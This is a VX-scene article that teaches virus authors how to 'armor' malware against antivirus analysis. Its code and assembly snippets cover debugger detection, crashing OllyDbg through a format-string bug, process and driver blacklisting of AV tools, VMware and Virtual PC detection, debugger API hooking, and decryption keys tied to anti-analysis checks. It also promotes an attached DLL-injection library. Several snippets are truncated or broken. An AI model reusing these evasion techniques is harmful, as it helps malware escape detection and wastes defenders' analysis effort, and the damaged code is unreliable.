Ars loricatus novus
A small introduction to retro-armoring
by Nomenumbra

                                                              Ars loricatus novus
                                                     A small introduction to retro-armoring
                                                                    by Nomenumbra

0x00) Foreword

There are many ways of hiding and protecting your virus from AV analysis, ranging from metamorphism to casual anti-debugging to aggressive attacks on AV products (process termination). With time however, anything can be reversed. But this doesn't mean we can't delay them critically. By using a thick armor of anti-debugging, aggressive and passive anti-AV tricks and general stealth, we can delay analysis. Combine this with a quickly morphing virus, this would mean the virus changes it's appereance and (if it's a virus that would re-write itself on source level) it's armor. This paper will show you some techniques that can be used to Armor your virus.

0x01)Casual Anti-Debugging

Anti-Debugging tricks have been around a while, ever since they were made popular with whale. Heavy armoring however, is very rare, most likely because it adds a lot of extra code to your virus, I however, think this is worth it.
Here is a summage of several well-known ant-debugging tricks:

-) Probably the best known anti-debugging trick is a call to the IsDebuggerPresent(), which returns either true or false. This call is virtually useless though, since it can be easily nop'ed out, hooked, patched or god knows what.
-) Casual detection of softice is also common knowledge. It is done by a call to the CreateFileA api, with softice's drivername as the filename parameter //./SICE, etc. 
-)  OllyDbg detection is easy with the following function

__inline bool IsODBGLoaded() {
	char *caption="DAEMON";
	_asm {
		push 0x00
		push caption

		mov eax, fs:[30h] // pointer to PEB
		movzx eax, byte ptr[eax+0x2] // width conversion
		or al,al
		jz normal_
		jmp out_
		xor eax, eax
		mov eax, 0x1

-) Detecting wether we are being traced with Int1 would be done like this:

      pop ax
      dec sp
      dec sp ; decrease stack pointer (WORD decreased, thus making bx = ax)
      pop bx ; bx = ax now
      cmp ax,bx ; if we are being traced, there is something in between
      je NotInt1
        mov eax,1
        mov eax,0

-) When a reverser sets breakpoints, animates into the code or uses single-stepping, the execution is always slower than normal, we can exploit this by putting an int 3 (breakpoint) in the code, pausing a program when being debugged, but not when executed normally:

      call GetTickCount ; milliseconds
      mov ebx,eax
      int 3 ; breakpoint, so the debugger pauses
      call GetTickCount
      sub eax,ebx
      cmp eax,28h ; difference between last and first GetTickCount
      jg TooSlow
        mov eax,0
        mov eax,1

-) Procdump is a nice tool for getting PE details, it can however be fooled quite nicely:

FoolProcDump: ; fools procdump with increasing size
        mov eax, fs:[30h]
        mov eax, [eax+0Ch]
        mov eax, [eax+0Ch]
        add dword ptr [eax+20h], 2000h

-) OllyDbg V1.10 (unpatched versions) are vulnerable to a format string attack. This means we can either exploit it in a casual way or just be thugs and crash the fucker. This is easily done by using a lot of %s's, eventually reading from invalid memory, segfaulting the app.


will do the trick :)

Now we know some basic anti-debugging tricks it's time to move on to Aggressive techniques.

0x02)Aggresive Anti-Debugging/Anti-AV

Aggressive tricks involve the active detection of debuggers or AV products and taking 'appropriate measures'. There are several methods to do this:

  A) Process and module enumeration and comparing

 This ought to be common knowledge for everyone, a simple call to CreateToolhelp32Snapshot, using that handle for Process32First and the consecutive calls to process32next to detect all running processes and matching their names to a (regular expression based) blacklist would be easy. 

Fetching module info is trivial as well:

      1) getProc(process's ID (PID),hProc) // hProc is a HANDLE
2)EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded); // hMods being an array of HMODULES, cbNeeded being an unsigned long
3)modulecount = cbNeeded/sizeof(HMODULE)
4)for(int i = 0; i < modulecount; i++)
		GetModuleFileNameEx(hProc, hMods[i], filename, MAX_PATH); //filename being char filename[MAX_PATH]
		// compare filename to a blacklist

The blacklists could be retrieved by reversing AV software and debuggers.

  B) Driver detection and comparing

  Some products used to analyse viruses use drivers for doing their thing. We already saw how we could detect some drivers like softice's with a call to CreateFileA, but this will not work for every driver. The following function enumerate all drivers and gets some details about it (filename and basename) which can be matched against a 'blacklist' of AV/Debugger/whatever drivernames: 

#include <windows.h>
#include <psapi.h>

unsigned long cbNeeded;

int EnumAllDeviceDrivers()
    LPVOID drivers[1024]; // can enum max of 1024 drivers, else we'll have a b0f
    char name[MAX_PATH];
    int drivercount = 0;

	if(EnumDeviceDrivers(drivers,sizeof(drivers),&cbNeeded) == FALSE )
              return -1;

	drivercount = cbNeeded/sizeof(LPVOID); // number of drivers found

	for(int i=0; i<drivercount; i++)
		if(GetDeviceDriverBaseName(drivers[i],name,MAX_PATH) != 0)
                          // compare the driver's basename to a 'blacklist' and take action		
			if(GetDeviceDriverFileName(drivers[i],name,MAX_PATH) != 0)
		               // compare filename to a 'blacklist' and take action
				return -1;
		  return -1;

  C) Virtual machine detection

   Virtual machines, a hacker's joy, a reverser's paradise and a VXers nightmare. These virtual platforms allow you to run whatever the fuck you want, potentially fucking up the machine big time, only to be reset with the press of a button. Avers, when reversing your virus would be too difficult would simply run it in a Virtual environment, and seeing what it does (with the help of (for example) sysinternals' filemon and stuff). Well, as z0mbie already documented once, there are ways to detect whether we are running inside a virtual environment or not. VMWare's prescence, one of these virtual machine products, can be detected either by it's registry keys, file location or in the following fashion (This code comes from z0mbies article 'VMWare has you'):

            mov	ecx, 0Ah	; CX=function# (0Ah=get_version)
	mov	eax, 'VMXh'	; EAX=magic
	mov	dx, 'VX'	; DX=magic
	in	eax, dx		; specially processed io cmd
				; output: EAX/EBX/ECX = data
	cmp	ebx, 'VMXh'	; also eax/ecx modified (maybe vmw/os ver?)
	je	under_VMware

Another Virtual Machine product is Microsoft's Virtual PC, which can be detect with the following code:

// IsInsideVPC's exception filter
DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
  PCONTEXT ctx = ep->ContextRecord;

  ctx->Ebx = -1; // Not running VPC
  ctx->Eip += 4; // skip past the "call VPC" opcodes
  // we can safely resume execution since we skipped faulty instruction

// High level language friendly version of IsInsideVPC()
bool IsInsideVPC()
  bool rc = false;

    _asm push ebx
    _asm mov  ebx, 0 // It will stay ZERO if VPC is running
    _asm mov  eax, 1 // VPC function number

    // call VPC 
    _asm __emit 0Fh  // invalid opcodes that should trigger and exception
    _asm __emit 3Fh
    _asm __emit 07h
    _asm __emit 0Bh

    _asm test ebx, ebx
    _asm setz [rc]
    _asm pop ebx
  // The except block shouldn't get triggered if VPC is running!!

  return rc;

Another great and innovative method to detect a virtual machine is Joanna Rutkowska is the “redpill method”. This method relies on the SIDT instruction which copies the contents of the descriptor table register to the six bytes of memory indicated by the operand, although it is used only by the OS it is executable in ring3. To quote Joanna: 

“Because there is only one IDTR register, but there are at least two OS running concurrently (i.e. the host and the guest OS), VMM needs to relocate the guest's IDTR in a safe place, so that it will not conflict with a host's one. Unfortunately, VMM cannot know if (and when) the process running in guest OS executes SIDT instruction, since it is not privileged (and it doesn't generate exception). Thus the process gets the relocated address of IDT table. It was observed that on VMWare, the relocated address of IDT is at address 0xffXXXXXX, whereas on Virtual PC it is 0xe8XXXXXX. This was tested on VMWare Workstation 4 and Virtual PC 2004, both running on Windows XP host OS”. The redpill code looks as follows:

int swallow_redpill () {
 unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; //SIDT core
       *((unsigned*)&rpill[3]) = (unsigned)m;
       return (m[5]>0xd0) ? 1 : 0;
For a full description and documentation of this method, you should look here:

  D) API hooking 
Well API hooking is a nice technique that can be used in a multitude of situations. In this case we should use it to hook each running process' API's that would be used by debuggers like: OpenProcess, OpenThread, GetProcessId, GetThreadId, ZwQueryInformationProcess, ReadProcessMemory, SetThreadContext, OutputDebugString, ContinueDebugEvent, DebugActiveProcess, DebugActiveProcessStop, DebugBreak, DebugBreakProcess, DebugSetProcessKillOnExit. These API's and their defenitions can be looked up in the MSDN library ( nicely. The Panzuriel code and library included with this article implements this idea. 

  E) ZwSetInformationThread

ZwSetInformationThread (located as a native api in ntdll.dll) can be used to hide your app from user-mode debuggers. Here is the MSDN description of zwsetInformationThread:

The ZwSetInformationThread routine can be called to set the priority of a thread for which the caller has a handle. 

IN HANDLE ThreadHandle, 
IN THREADINFOCLASS ThreadInformationClass, 
IN PVOID ThreadInformation, 
IN ULONG ThreadInformationLength 

And here are the possible values for ThreadInfoClass:

typedef enum _THREADINFOCLASS { 
ThreadHideFromDebugger,        <------------ SEE THAT?!

So we would simply do:

push 0 
push 0 
push ThreadHideFromDebugger ; 0x11 (17)
push threadid
call  ZwSetInformationThread

isn't that nice?

F) CheckRemoteDebuggerPresent

Another API that can be deliciously abused. Located in kernel32.dll, CheckRemoteDebuggerPresent is defined as follows:

BOOL CheckRemoteDebuggerPresent(
  HANDLE hProcess,
  PBOOL pbDebuggerPresent

Very simple, hProcess is a HANDLE to an opened process and pbDebuggerPresent is a pointer to a boolean to hold TRUE if we are being debugged. The return value of the function (eax) is TRUE if it succeeds. 

0x03)Passive Anti-Debugging/Anti-AV

Passive tricks don't involve the detection of Debuggers or AV products, but handling them without action or detection.It's basically Aggresive tricks who don't take action.
This would involve (for example) interweaving string/code decryption (or the entire program flow) and the results of armor checks. See the following pseudo-code:


function  MoreAnnoyingKeyStuv(SomeByte,LKey)
     if() ... // lots of useless conditional branches
   return ((Lkey << IsAVPresent()) xor (SomeByte >> DetectAnotherDebugger())) xor IsVmWare();

procedure Decryptor(BeginEncrypted,XLen,XKey)
    Key = Xkey;
      for(i = 0; i < (Xlen+1); i++)
         Key += DetectSomeDebuggertrick();
         Key = Key xor MoreAnnoyingKeyStuv();

This kind of code, when obfuscated properly, would be a REAL pain in the ass for analists. Because they would have to look into each seperate Debugging detection trick (which could all use different Casual or even aggressive anti-debugging tricks), extract the correct result, go trough the potentially enormous bogus threads and conditional branches and in the end, write a decryptor by hand, which would delay them for quite some time. 

As described in this example, multithreading can be used to confuse the analist. Imagine an app that would dynamicall generate a routine containing a lot of (bogus) anti-debugging checks, resulting in lots of conditional branches, which lead nowhere. If this routine was initiated as a thread multiple times, all based on anti-debugging conditional branches (which actually don't matter) this would make the analist go trough each one of them, being different on each run, potentially ruining a lot of his time only to realize it's bogus and useless.

Checksumming has been a method used for quite some time (mostly using cyclic redudancy checks) because it's a nice and effective method. It would involve checksumming important code sections that could be breakpointed or nop'ed out. But most of the time, the virus writer would just compare the result to a hardcoded value, which can be changed. Well, it would be more effective to write a checksumming algorithm yourself (combining several casual ones for example) ,for this is more obscure, and use the result as part of the decryption key.

A nice trick to confuse emulators is the rep jmp trick. This trick could be written in pseudo-code as follows:

call SomeAntiDebuggingCheck ; result in eax
mov ecx,eax
rep jmp DoomOnYou
; continue exection flow
       ; do nasty stuff here

As you can see the result of the antidebugging check is used to do a repeated jump to DoomOnYou. Now the trick is that this repeated jump is of course bollocks. Because once it jumps it jumps and nothing else. So if someAntiDebuggingCheck returns 0 (no debuggers found) it doesn't jump.
This is a nice substitution of conditional jumps, making analysis by some lame emulator a lot harder, also if we would give SomeAntiDebuggingCheck a multitude of possible results (all for the different debuggers found,etc), thus making the emulator loop through this for a looong time trying out all results, only to go to DoomOnYou each time.

0x04) Panzuriel Library

Well, I assume you are familiar with DLL-Injection, if not, I suggest you read my article “The basics of backdooring” (found here: The Panzuriel Library can be injected in a single process, but also in all actively running processes, it's your choice. The code comes attached to this article. (Comment by DiA: Panzuriel can be found under "Sources")

0x05) Outro

Well people, I hope you enjoyed this article and learned something from it. Remember, keep the Vxing scene alive! Shouts go to RRLF, 29A, the HackThisSite community, .aware group, ASO group and peeps in general.